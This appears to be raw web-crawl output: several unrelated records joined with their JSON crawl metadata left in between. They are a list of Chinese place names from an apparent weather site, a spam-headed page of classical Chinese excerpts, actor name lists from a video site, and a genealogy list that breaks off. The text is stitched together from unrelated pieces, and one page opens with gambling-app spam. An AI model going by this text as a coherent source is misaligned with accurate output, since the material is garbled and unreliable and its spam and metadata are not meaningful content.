五営 鉄力 嘉蔭 大慶 林甸 肇州 肇源 杜尓伯特 七台河 勃利 鶏西 虎林 密山 鶏東 鶴崗 綏濱 蘿北 双鴨山 集賢 宝清 饒河 長春 農安 徳惠 九台 楡樹 双陽 吉林 舒蘭 永吉 蛟河 磐石 樺甸 延吉 敦化 安図 汪清 和竜 竜井 琿春 図們 松江 延辺 二道 四平 双遼 梨樹 公主嶺 伊通 通化 梅河口 柳河 輝南 集安 通化県 白城 洮南 大安 鎮賚 通楡 遼源 東豊 松原 乾安 前郭 長嶺 扶余 白山 靖宇 臨江 東崗 長白 沈陽 遼中 康平 法庫 新民 大連 瓦房店 金州 普蘭店 旅順 長海 庄河 鞍山 台安 岫岩 海城 撫順 清原 章党 本渓 本渓県 桓仁 丹東 鳳城 寛甸 東港 錦州 凌海 北寧 義県 黒山 北鎮 営口 大石橋 盖州 阜新 彰武 遼陽 遼陽県 灯塔 鉄嶺 開原 昌図 西豊 朝陽 凌源 喀左 北票 建平県 盤錦 大窪 盤山 葫芦島 建昌 綏中 興城 フフホト トゥムド左旗 トクト ホリンゴル 清水河 フフホト市郊区 武川 包頭 バイヤンオボ 満都拉 トゥムド右旗 固陽 ダルハン・ムミンガン連合旗 烏海 集寧 卓資 化徳 商都 シラムレン 興和 凉城 チャハル右翼前旗 チャハル右翼中旗 チャハル右翼后旗 四子王旗 豊鎮 通遼 舎伯吐 ホルチン左翼中旗 ホルチン左翼后旗 青竜山 開魯 ホルチン ナイマン旗 ジャルート旗 高力板 巴雅尓吐胡碩 赤峰 アルホルチン旗 浩尓吐 バイリン左旗 バイリン右旗 林西 ヘシグテン旗 オンニュド旗 崗子 カラチン旗 八里罕 寧城 敖漢旗 宝国吐 オルドス 達拉特旗 ジュンガル旗 オトク前旗 河南 伊克烏素 オトク旗 ハンギン旗 ウーシン旗 エジンホロ旗 ウーシン召 東勝 臨河 五原 磴口 ウラド前旗 大佘太 ウラド中旗 ウラド后旗 海力素 那仁宝力格 ハンギン后旗 シリンホト エレンホト アバカ旗 ソニド左旗 ソニド右旗 朱日和 東ウジュムチン旗 西ウジュムチン旗 太僕寺旗 镶黄旗 正镶白旗 正蘭旗 多倫 博克図 烏拉盖 フルンボイル ハイラル 小二溝 アロン旗 モリンダワ旗 オロチョン旗 エヴェンキ旗 陳バルグ虎旗 新バルグ左旗 新バルグ右旗 満洲里 牙克石 ジャラントン 額尓古納 根河 図里河 ウランホト 阿尓山 ホルチン右翼中旗 胡尓勒 ジャライド旗 索倫 突泉 ホーリンゴル アラシャン左旗 アラシャン右旗 額済納旗 拐子湖 吉蘭太 シリンゴト 頭道湖 中泉子 巴彦諾尓貢 雅布頼 烏斯太 孪井灘 石家庄 井陉 正定 欒城 行唐 霊寿 高邑 深沢 賛皇 無極 平山 元氏 趙県 辛集 藁城 晋州 新楽 保定 満城 阜平 徐水 唐県 高陽 容城 涞源 望都 安新 易県 曲陽 蠡県 順平 雄県 涿州 定州 安国 高碑店 清苑 張家口 宣化 張北 康保 沽源 尚義 蔚県 陽原 懐安 万全 懐来 涿鹿 赤城 崇礼 承徳 承徳県 興隆 平泉 滦平 隆化 豊寧 寛城 囲場 唐山 豊南 豊潤 滦県 滦南 楽亭 遷西 玉田 唐海 遵化 遷安 曹妃甸 廊坊 固安 永清 香河 大城 文安 大厰 霸州 三河 滄州 青県 東光 海興 塩山 粛寧 南皮 呉橋 献県 孟村 泊頭 任丘 黄骅 河間 衡水 棗強 武邑 武強 饒陽 安平 故城 景県 阜城 冀州 深州 邢台 臨城 内邱 柏郷 隆尭 南和 寧晋 巨鹿 新河 広宗 平郷 威県 清河 臨西 南宮 沙河 任県 邯鄲 峰峰 臨漳 成安 大名 渉県 磁県 肥郷 永年 邱県 鶏沢 広平 館陶 魏県 曲周 武安 秦皇島 青竜 昌黎 撫寧 盧竜 北戴河 太原 清徐 陽曲 婁煩 太原古交区 太原北郊 太原南郊 大同 陽高 大同県 天鎮 広霊 霊邱 渾源 左云 陽泉 盂県 平定 晋中 楡次 楡社 左権 和順 昔陽 寿陽 太谷 祁県 平遥 霊石 介休 長治 黎城 屯留 潞城 襄垣 平順 武郷 沁県 長子 沁源 壷関 晋城 沁水 陽城 陵川 高平 臨汾 曲沃 永和 隰県 大寧 吉県 襄汾 蒲県 汾西 洪洞 霍州 郷寧 翼城 侯馬 浮山 安沢 古県 運城 臨猗 稷山 万栄 河津 新絳 絳県 聞喜 垣曲 永済 芮城 夏県 平陸 朔州 平魯 山陰 右玉 応県 懐仁 忻州 定襄 五台県豆村 河曲 偏関 神池 寧武 代県 繁峙 五台山 保徳 静楽 岢嵐 五寨 原平 呂梁 離石 臨県 興県 嵐県 柳林 石楼 方山 交口 中陽 孝義 汾陽 文水 交城 西安 長安 臨潼 藍田 周至 戸県 高陵 楊凌 咸陽 三原 礼泉 永寿 淳化 泾陽 武功 乾県 彬県 長武 旬邑 興平 楊凌 延安 延長 延川 子長 宜川 富県 志丹 安塞 甘泉 洛川 黄陵 黄竜 呉起 楡林 府谷 神木 佳県 定辺 靖辺 横山 米脂 子洲 綏徳 呉堡 清澗 渭南 華県 潼関 大茘 白水 富平 蒲城 澄城 合陽 韓城 華陰 商洛 洛南 柞水 商州 丹鳳 商南 山陽 鎮安 安康 紫陽 石泉 漢陰 旬陽 嵐皋 平利 白河 鎮坪 寧陝 漢中 略陽 勉県 留坝 洋県 城固 西郷 佛坪 寧強 南鄭 鎮巴 宝鶏 宝鶏県 千陽 麟游 岐山 鳳翔 扶風 眉県 太白 鳳県 隴県 陳倉 銅川 耀県 宜君 済南 長清 商河 章丘 平陰 済陽 青島 勞山 即墨 膠州 膠南 莱西 平度 淄博 淄川 博山 高青 周村 沂源 桓台 臨淄 徳州 武城 臨邑 陵県 斉河 楽陵 慶云 平原 寧津 夏津 禹城 烟台 莱州 長島 蓬莱 竜口 招遠 棲霞 福山 牟平 莱陽 海陽 潍坊 青州 寿光 臨朐 昌楽 昌邑 安丘 高密 諸城 済寧 嘉祥 微山 魚台 兖州 金郷 汶上 泗水 梁山 曲阜 鄒城 泰安 新泰 肥城 東平 寧陽 臨沂 莒南 沂南 蒼山 臨沭 郯城 蒙陰 平邑 費県 沂水 渮沢 鄄城 郓城 東明 定陶 巨野 曹県 成武 単県 濱州 博興 無棣 陽信 惠民 沾化 鄒平 東営 河口 墾利 利津 広饒 威海 文登 栄成 乳山 成山頭 石島 棗庄 薛城 峄城 台儿庄 滕州 日照 五蓮 莒県 莱蕪 聊城 冠県 陽谷 高唐 茌平 東阿 臨清 朝城 莘県 ウルムチ 蔡家湖 小渠子 巴侖台 達坂城 ウルムチ牧試站 天池 白楊溝 カラマイ 石河子 炮台 莫索湾 昌吉 呼図壁 米泉 阜康 ジムサル 奇台 マナス 木壘 トルファン 托克遜 鄯善 コルラ 輪台 尉犁 若羌 且末 和静 焉耆 和碩 巴音布魯克 鉄干里克 博湖 塔中 阿拉尓 アクス 烏什 温宿 拜城 新和 シャヤール クチャ 柯坪 阿瓦提 カシュガル イェンギサール タシュクルガン 麦盖提 ヤルカンド 叶城 ポスカム マラルベシ 嶽普湖 ファイザバード グルジャ チャプチャル ニルカ グルジャ県 トックズタラ 新源 モンゴルキュレ テケス 霍城 霍尓果斯 塔城 裕民 額敏 コブクサル トリ ウス 沙湾 和豊 ハミ バルクル 伊吾 ホータン グマ チラ カラカシュ ロプ ニヤ 于田 アルタイ 哈巴河 ジェミナイ 布尓津 ブルルトカイ 富蘊 青河 アルトゥシュ ウルグチャト アクト アクチ ボルタラ 温泉 精河 阿拉山口 ラサ ダムシュン ニェモ シガツェ ラツェ ナムリン ニャラム ティンリ ギャンツェ 帕里 ロカ ギャツァ ナンカルツェ ツォナ ルンツェ ツェダン ニャンティ ポメ ナリン ザユル チャムド テンチェン ロロン ゾガン マルカム ナクチュ ラリ パングン アムド ソク県 ガリ ゲルツェ シェンザ 獅泉河 プラン 西寧 大通 湟源 湟中 海東 楽都 民和 互助 化隆 循化 冷湖 平安 黄南 尖扎 沢庫 河南 海南 貴徳 興海 貴南 同徳 共和 果洛 班瑪 甘徳 達日 久治 瑪多 清水河 瑪沁 玉樹 治多 雑多 嚢謙 曲麻莱 海西 ゴルムド 天峻 烏蘭 都蘭 茫崖 大柴旦 徳令哈 海北 門源 祁連 海晏 剛察 蘭州 皋蘭 永登 楡中 定西 通渭 隴西 渭源 臨洮 漳県 岷県 安定 平凉 泾川 霊台 崇信 華亭 庄浪 静寧 崆峒 慶陽 西峰 環県 華池 合水 正寧 寧県 鎮原 慶城 武威 民勤 古浪 天祝 金昌 永昌 張掖 粛南 民楽 臨沢 高台 山丹 酒泉 金塔 瓜州 粛北 玉門 敦煌 天水 麦積 清水 秦安 甘谷 武山 張家川 武都 成県 文県 宕昌 康県 西和 礼県 徽県 両当 臨夏 康楽 永靖 広河 和政 東郷 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 白銀 靖遠 会寧 景泰 嘉峪関 銀川 永寧 霊武 賀蘭 石嘴山 惠農 平羅 陶楽 大武口 呉忠 同心 塩池 青銅峡 固原 西吉 隆徳 泾源 彭陽 中衛 中寧 海原 鄭州 鞏義 荥陽 登封 新密 新鄭 中牟 安陽 湯陰 滑県 内黄 林州 新郷 獲嘉 原陽 輝県 衛輝 延津 封丘 長垣 許昌 鄢陵 襄城 長葛 禹州 平頂山 郏県 宝豊 汝州 叶県 舞鋼 魯山 信陽 息県 羅山 光山 新県 淮濱 潢川 固始 商城 南陽 南召 方城 社旗 西峡 内郷 鎮平 淅川 新野 唐河 邓州 桐柏 開封 杞県 尉氏 通許 蘭考 洛陽 新安 孟津 宜陽 洛寧 伊川 嵩県 偃師 欒川 汝陽 商丘 睢県 民権 虞城 柘城 寧陵 夏邑 永城 焦作 修武 武陟 沁陽 博愛 温県 孟州 鶴壁 浚県 淇県 濮陽 台前 南楽 清豊 範県 周口 扶溝 太康 淮陽 西華 商水 項城 鄲城 鹿邑 沈丘 漯河 臨潁 舞陽 駐馬店 西平 遂平 上蔡 汝南 泌陽 平輿 新蔡 確山 正陽 三門峡 霊宝 渑池 盧氏 済源 南京 溧水 高淳 江寧 六合 江浦 浦口 無錫 江陰 宜興 鎮江 丹陽 揚中 句容 蘇州 常熟 張家港 昆山 呉江 太倉 南通 海安 如皋 如東 啓東 海門 通州 揚州 宝応 儀征 高郵 江都 塩城 響水 濱海 阜寧 射陽 建湖 東台 大豊 徐州 豊県 沛県 邳州 睢寧 新沂 淮安 金湖 盱眙 洪沢 漣水 淮陰県 淮陰 楚州 連云港 東海 赣楡 灌云 灌南 常州 溧陽 金壇 泰州 興化 泰興 姜堰 靖江 宿遷 沭陽 泗陽 泗洪 武漢 蔡甸 黄陂 新洲 江夏 襄樊 襄陽 保康 南漳 宜城 老河口 谷城 棗陽 鄂州 孝感 安陸 云梦 大悟 応城 漢川 孝昌 黄岡 紅安 麻城 羅田 英山 浠水 蕲春 黄梅 武穴 黄石 大冶 陽新 咸寧 赤壁 嘉魚 崇陽 通城 通山 荊州 江陵 公安 石首 監利 洪湖 松滋 宜昌 遠安 秭帰 興山 宜昌県 五峰 当陽 長陽 宜都 枝江 三峡 夷陵 恩施 利川 建始 咸豊 宣恩 鶴峰 来鳳 巴東 十堰 竹渓 郧西 郧県 竹山 房県 丹江口 神農架 随州 広水 荊門 鍾祥 京山 天門 仙桃 潜江 杭州 蕭山 桐廬 淳安 建徳 余杭 臨安 富陽 湖州 長興 安吉 徳清 嘉興 嘉善 海寧 桐郷 平湖 海塩 寧波 慈渓 余姚 奉化 象山 寧海 鄞県 北侖 鄞州 鎮海 紹興 諸曁 上虞 新昌 嵊州 台州 玉環 三門 天台 仙居 温嶺 洪家 臨海 椒江 黄岩 路橋 温州 泰順 文成 平陽 瑞安 洞頭 楽清 永嘉 蒼南 麗水 遂昌 竜泉 縉云 青田 云和 慶元 松陽 景寧 金華 浦江 蘭渓 義烏 東陽 武義 永康 磐安 衢州 常山 開化 竜游 江山 舟山 嵊泗 岱山 普陀 定海 合肥 長豊 肥東 肥西 蚌埠 懐遠 固鎮 五河 蕪湖 繁昌 蕪湖県 南陵 淮南 鳳台 馬鞍山 当塗 安慶 樅陽 太湖 潜山 懐寧 宿松 望江 嶽西 桐城 宿州 砀山 霊璧 泗県 蕭県 阜陽 阜南 潁上 臨泉 界首 太和 亳州 渦陽 利辛 蒙城 黄山 黄山区 屯渓 祁門 黟県 歙県 休寧 黄山市 滁州 鳳陽 明光 定遠 全椒 来安 天長 淮北 濉渓 銅陵 宣城 泾県 旌徳 寧国 績渓 広徳 郎渓 六安 霍邱 寿県 金寨 霍山 舒城 巣湖 廬江 無為 含山 和県 池州 東至 青陽 九華山 石台 福州 闽清 闽侯 羅源 連江 永泰 平潭 長楽 福清 アモイ 同安 寧徳 古田 霞浦 寿寧 周寧 福安 柘栄 福鼎 屏南 莆田 仙游 秀嶼港 泉州 安渓 永春 徳化 南安 崇武 晋江 漳州 長泰 南靖 平和 竜海 漳浦 詔安 東山 云霄 華安 竜岩 長汀 連城 武平 上杭 永定 漳平 三明 寧化 清流 泰寧 将楽 建寧 明渓 沙県 尤渓 永安 大田 南平 順昌 光沢 邵武 武夷山 浦城 建陽 松渓 政和 建甌 南昌 新建 南昌県 安義 進賢 蓮塘 九江 瑞昌 廬山 武寧 徳安 永修 湖口 彭沢 星子 都昌 修水 上饒 鄱陽 婺源 余干 万年 徳興 上饒県 弋陽 横峰 鉛山 玉山 広豊 波陽 撫州 広昌 楽安 崇仁 金渓 資渓 宜黄 南城 南豊 黎川 東郷 宜春 銅鼓 宜豊 万載 上高 靖安 奉新 高安 樟樹 豊城 吉安 吉水 新干 峡江 永豊 永新 井岡山 万安 遂川 泰和 安福 寧岡 赣州 崇義 上犹 南康 大余 信豊 寧都 石城 瑞金 于都 会昌 安遠 全南 竜南 定南 尋烏 興国 景徳鎮 楽平 萍郷 蓮花 新余 分宜 鷹潭 余江 貴渓 長沙 寧郷 瀏陽 馬坡嶺 湘潭 韶山 湘郷 株洲 攸県 醴陵 茶陵 炎陵 衡陽 衡山 衡東 祁東 衡陽県 常寧 衡南 耒陽 南嶽 郴州 桂陽 嘉禾 宜章 臨武 資興 汝城 安仁 永興 桂東 常徳 安郷 桃源 漢寿 澧県 臨澧 石門 益陽 赫山区 南県 桃江 安化 沅江 婁底 双峰 冷水江 冷水灘 新化 漣源 邵陽 隆回 洞口 新邵 邵東 綏寧 新寧 武岡 城歩 邵陽県 嶽陽 華容 湘陰 汨羅 平江 臨湘 張家界 桑植 慈利 懐化 沅陵 辰渓 靖州 会同 通道 麻陽 新晃 芷江 溆浦 黔陽 洪江 永州 祁陽 東安 双牌 道県 寧遠 江永 藍山 新田 江華 吉首 保靖 永順 古丈 鳳凰 瀘渓 竜山 花垣 貴陽 白云 花渓 烏当 息烽 開陽 修文 清鎮 遵義 遵義県 仁懐 綏陽 湄潭 鳳岡 桐梓 赤水 習水 道真 正安 務川 余慶 匯川 安順 普定 鎮寧 平坝 紫云 関嶺 都匀 貴定 瓮安 長順 福泉 惠水 竜里 羅甸 平塘 独山 三都 茘波 凱里 岑鞏 施秉 鎮遠 黄平 麻江 丹寨 三穗 台江 剣河 雷山 黎平 天柱 錦屏 榕江 从江 銅仁 江口 玉屏 万山 思南 印江 石阡 沿河 徳江 松桃 畢節 赫章 金沙 威寧 大方 納雍 織金 興義 黔西 水城 六枝 盤県 晴隆 興仁 貞豊 望謨 安竜 册亨 普安 成都 竜泉駅 新都 温江 金堂 双流 郫県 大邑 蒲江 新津 都江堰 彭州 邛崃 崇州 崇慶 彭県 攀枝花 仁和 米易 塩辺 自貢 富順 栄県 綿陽 三台 塩亭 安県 梓潼 北川 平武 江油 南充 南部 営山 蓬安 儀隴 西充 阆中 達州 宣漢 開江 大竹 渠県 万源 達川 遂寧 蓬渓 射洪 広安 嶽池 武勝 隣水 華蓥山 巴中 通江 南江 平昌 瀘州 瀘県 合江 叙永 古藺 納渓 宜賓 宜賓県 南渓 江安 長寧 高県 珙県 筠連 興文 屏山 内江 東興 威遠 資中 隆昌 資陽 安嶽 楽至 簡陽 楽山 犍為 井研 夾江 沐川 峨辺 馬辺 峨眉 峨眉山 眉山 仁寿 彭山 洪雅 丹稜 青神 凉山 木里 塩源 徳昌 会理 会東 寧南 普格 西昌 金陽 昭覚 喜徳 冕寧 越西 甘洛 雷波 美姑 布拖 雅安 名山 荥経 漢源 石棉 天全 芦山 宝興 甘孜 康定 瀘定 丹巴 九竜 雅江 道孚 炉霍 新竜 徳格 白玉 石渠 色達 理塘 巴塘 郷城 稲城 得栄 阿坝 汶川 理県 茂県 松潘 九寨溝 金川 小金 黒水 馬尓康 壤塘 若尓盖 紅原 南坪 徳陽 中江 広漢 什邡 綿竹 羅江 広元 旺蒼 青川 剣閣 蒼渓 広州 番禺 从化 増城 花都 韶関 乳源 始興 翁源 楽昌 仁化 南雄 新豊 曲江 惠州 博羅 惠陽 惠東 竜門 梅州 興寧 蕉嶺 大埔 豊順 平遠 五華 梅県 汕頭 潮陽 澄海 南澳 深セン(深圳) 珠海 斗門 佛山 順徳 三水 南海 肇慶 広寧 四会 徳慶 懐集 封開 高要 湛江 呉川 雷州 徐聞 廉江 遂渓 江門 開平 新会 恩平 台山 鶴山 河源 紫金 連平 和平 竜川 清遠 連南 連州 連山 陽山 佛岡 英徳 云浮 羅定 新興 鬱南 潮州 饒平 東莞 中山 陽江 陽春 掲陽 掲西 普寧 惠来 茂名 高州 化州 電白 信宜 汕尾 海豊 陸豊 昆明 東川 尋甸 晋寧 宜良 石林 呈貢 富民 嵩明 禄勧 安寧 太華山 河口県 大理 云竜 漾濞 永平 賓川 弥渡 祥云 巍山 剣川 洱源 鶴慶 南澗 紅河 石屏 建水 弥勒 元陽 緑春 開遠 个旧 蒙自 屏辺 瀘西 金平 曲靖 沾益 陸良 富源 馬竜 師宗 羅平 会沢 宣威 保山 竜陵 施甸 昌寧 騰冲 文山 西畴 馬関 麻栗坡 硯山 丘北 広南 富寧 玉渓 澄江 江川 通海 華寧 新平 易門 峨山 元江 楚雄 大姚 元謀 姚安 牟定 南華 武定 禄豊 双柏 永仁 普洱 景谷 景東 瀾滄 墨江 江城 孟連 西盟 鎮源 鎮沅 寧洱 昭通 魯甸 彝良 鎮雄 威信 巧家 綏江 永善 塩津 大関 臨滄 滄源 耿馬 双江 鳳慶 永徳 云県 鎮康 怒江 福貢 蘭坪 瀘水 六庫 貢山 香格里拉 徳欽 維西 中甸 麗江 永勝 華坪 寧蒗 徳宏 隴川 盈江 瑞麗 梁河 潞西 景洪 勐海 勐臘 南寧 南寧城区 邕寧 横県 隆安 馬山 上林 武鳴 賓陽 崇左 天等 竜州 凭祥 大新 扶綏 寧明 柳州 柳城 鹿寨 柳江 融安 融水 三江 来賓 忻城 金秀 象州 武宣 桂林 竜勝 永福 臨桂 興安 霊川 全州 灌陽 陽朔 恭城 平楽 茘浦 資源 梧州 藤県 蒼梧 蒙山 岑渓 賀州 昭平 富川 鍾山 貴港 桂平 平南 玉林 博白 北流 容県 陸川 百色 那坡 田陽 徳保 靖西 田東 平果 隆林 西林 楽業 凌云 田林 欽州 浦北 霊山 河池 天峨 東蘭 巴馬 環江 羅城 宜州 鳳山 南丹 都安 北海 合浦 涠洲島 防城港 上思 東興 防城 海口 三亜 東方 臨高 澄邁 儋州 昌江 白沙 瓊中 定安 屯昌 瓊海 文昌 保亭 万寧 陵水 西沙 南沙島 楽東 五指山 通什 香港 新界 澳門 台北県 高雄 台中","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/lifeinsuzhou.iinaa.net\/weather_ch\/top.html","date":"2020-02-28T23:40:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875148163.71\/warc\/CC-MAIN-20200228231614-20200229021614-00475.warc.gz","language":"lzh","language_score":0.8663710356,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.8663710355758667, \"jpn_Jpan_score\": 0.06549245864152908, \"cmn_Hani_score\": 0.03372390568256378, \"nan_Hani_score\": 0.03232504799962044}","num_words":2398,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.319,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.867,"perplexity_score":500.0,"cluster_detection":1} +{"text":"百家电玩城下载乌克兰新增新冠肺炎确诊病例26例累计1251例\n座上一人推案直出,立于筵前,大呼:\"不可!不可!汝是何人,敢发大语?天子乃先帝嫡子,初无过失,何得妄议废立!汝欲为篡逆耶?\"卓视之,乃荆州刺史丁原也。卓怒叱曰:\"顺我者生,逆我者死!\"遂掣佩剑欲斩丁原。时李儒见丁原背后一人,生得器宇轩昂,威风凛凛,手执方天画戟,怒目而视。李儒急进曰:\"今日饮宴之处,不可谈国政;来日向都堂公论未迟。\"众人皆劝丁原上马而去。\n故九江太守边让,英才俊伟,天下知名;直言正色,论不阿谄;身首被枭悬之诛,妻孥受灰灭之咎。自是士林愤痛,民怨弥重;一夫奋臂,举州同声。故躬破于徐方,地夺于吕布;彷徨东裔,蹈据无所。幕府惟强干弱枝之义,且不登叛人之党,故复援旌擐甲,席卷起征,金鼓响振,布众奔沮;拯其死亡之患,复其方伯之位:则幕府无德于兖土之民,而有大造于操也。\n列侯三年,聂政杀韩相侠累。九年,秦伐我宜阳,取六邑。十三年,列侯卒,子文侯立。是岁魏文侯卒。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n後齐湣王灭宋","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mip.cclinyu.com\/appqrgcf\/55007446.html","date":"2020-04-05T12:44:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371604800.52\/warc\/CC-MAIN-20200405115129-20200405145629-00349.warc.gz","language":"lzh","language_score":0.4207344055,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4207344055175781, \"cmn_Hani_score\": 0.3342362344264984, \"nan_Hani_score\": 0.12206444144248962, \"yue_Hani_score\": 0.017581108957529068, \"wuu_Hani_score\": 0.01702120155096054, \"jpn_Jpan_score\": 0.013688350096344948}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.535,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n羅仲謙 韋家雄 張曦雯 徐榮 張文慈 劉江 張秀文 黃子雄 秦啓維 湯俊明 方紹聰 司徒暉 盧峻峯 袁潔儀 趙樂賢 曾海昌 徐玟晴 吳珮如 尹詩沛 羅鴻 張詩欣\n黎耀祥 胡杏兒 蕭正楠 馬賽 謝雪心 劉江 羅蘭 陳自瑤 張國強 李成昌 馬海倫 金剛 李天翔 方伊琪 林偉 馬蹄露 招石文 於洋 楊卓娜 羅鈞滿 林盛斌 邵卓堯 關浩揚 楊瑞麟 魏惠文 關菁 羅利期 陳榮峻 黃柏文 黃子恆 李岡龍 吳雲甫 楊證樺 何廣沛 陳勉良 鄧永健 何傲兒 陳婉婷 鍾志光 王俊棠 黃建東 潘芳芳 朱敏瀚 甄敏婷 徐玟晴 馬貫東 布偉傑 陳嘉嘉 陳偉洪 曾慧雲 陳亭嘉 章宇昂 沈可欣 溫裕紅 李晉強\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n郭晉安 廖碧兒 米雪 秦沛 廖安麗 許紹雄 郭政鴻 劉倩婷 林秀怡 林師傑 鍾鈺精 周家怡 蘇恩磁 範彩兒 鍾煌 何傲芝 譚真一 曾慧雲 魯芬 劉俐 梁珈詠 冼灝英 羅浩楷 何俊軒 沈卓盈 卓躒 李麗麗 李思雅 黃紀瑩 林淑敏 馬貫東 陳偉洪 呂熙 顏桂洲 陳志健 丁樂鍶 沈愛琳 羅欣羚 黎桐康 羅泳嫺 何君誠 梁健平 邱頌兒 岑寶兒 賀文傑 徐玟晴 葉暐 陳勉良 李海生 姚瑩瑩 李楓 魯文傑 李嘉 趙希洛 歐陽靖 古明華\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n陳松伶 陳煒 黃智賢 徐榮 江嘉敏 陳瀅 餘德丞 林韋辰 楊卓娜 鄭敬基 盧宛茵 程可爲 邵卓堯 徐玟晴 陳榮峻 譚永浩 吳珮如 張漢斌 遊莨維 曾健明 區靄玲 魏惠文 易智遠 戴耀明 關梓陽 李興華 杜大偉 黃得生 範仲恆 莊思明 吳香倫 趙樂賢 湯俊明 陳俊堅 陳嘉輝 沈可欣 吳瑞庭 楊證樺 吳嘉儀 潘冠霖 布偉傑 譚偉權 黃穎君 梁雯蔚 莫家淦 周寶霖\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E5%BE%90%E7%8E%9F%E6%99%B4------------.html","date":"2020-10-26T02:20:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107890108.60\/warc\/CC-MAIN-20201026002022-20201026032022-00408.warc.gz","language":"lzh","language_score":0.8243721128,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8243721127510071, \"nan_Hani_score\": 0.09133705496788025, \"cmn_Hani_score\": 0.0752471536397934}","num_words":409,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.835,"perplexity_score":500.0,"cluster_detection":1} +{"text":"建立家谱,必须先到安徽胡氏宗亲网首页注册会员 家谱首页 家谱列表 世系列表 四铺胡氏家谱—世系列表 代 门 全 A3 A4 树 胡克顺 应庚 应阳 应亨 釨 鈵 润若 泽若 国荣 国桐 怀仁 周仁 怀仁 天平 天邦 永敏 永让 世格 世才 德高 德芳 心昌 志昌 忠昌 德新 德芹 月昌 世相 德炳 世元 德成 德富 永敬 世标 德权 昌伦 天仲 永汉 世皇 德龙 昌明 世堂 德功 德贤 智仁 天圣 永振 世体 德善 运昌 昌云 